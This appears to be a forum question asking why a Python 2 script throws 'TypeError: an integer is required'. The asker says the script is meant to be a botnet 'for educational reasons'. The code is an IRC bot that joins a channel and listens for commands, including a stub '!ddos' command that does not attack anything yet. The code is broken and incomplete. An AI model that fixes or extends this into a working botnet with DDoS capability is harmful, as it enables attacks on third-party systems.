I am trying to make a botnet using Python, for educational reasons, and I keep getting the following error:
TypeError: an integer is required
Here is my script:
import os
import socket
import random
import string
# string.letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
a = random.choice(string.letters)
b = random.choice(string.letters)
c = random.choice(string.letters)
d = random.choice(string.letters)
e = random.choice(string.letters)
name = 'bot' + a + b + c + d + e
network = 'chat.freenode.net'
port = 6667
irc = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
irc.connect ( ( network, port ) )
print irc.recv ( 4096 )
irc.send ('NICK', name + '\r\n')
irc.send ( 'USER', name, name, name, ':Python IRC\r\n' )
irc.send ( 'JOIN #occult_hand\r\n' )
irc.send ( 'PRIVMSG #occult_hand :Hello World.\r\n' )
while True:
data = irc.recv ( 4096 )
if data.find ( 'PING' ) != -1:
irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
if data.find ( '!shutdown' ) != -1:
irc.send ( "PRIVMSG #occult_hand :Fine, if you don't want me\r\n" )
irc.send ( 'QUIT\r\n' )
if data.find ( '!list' ) != -1:
irc.send ( 'PRIVMSG #occult_hand :' + name, 'ONLINE\r\n' )
if data.find ( '!ddos' ) != -1:
irc.send ( 'PRIVMSG #occult_hand :Enter a target\r\n' )
if data.find ( 'KICK' ) != -1:
irc.send ( 'JOIN #occult_hand\r\n' )
if data.find ('cheese') != -1:
irc.send ( 'PRIVMSG #occult_hand :WHERE!!!!!!\r\n' )
print data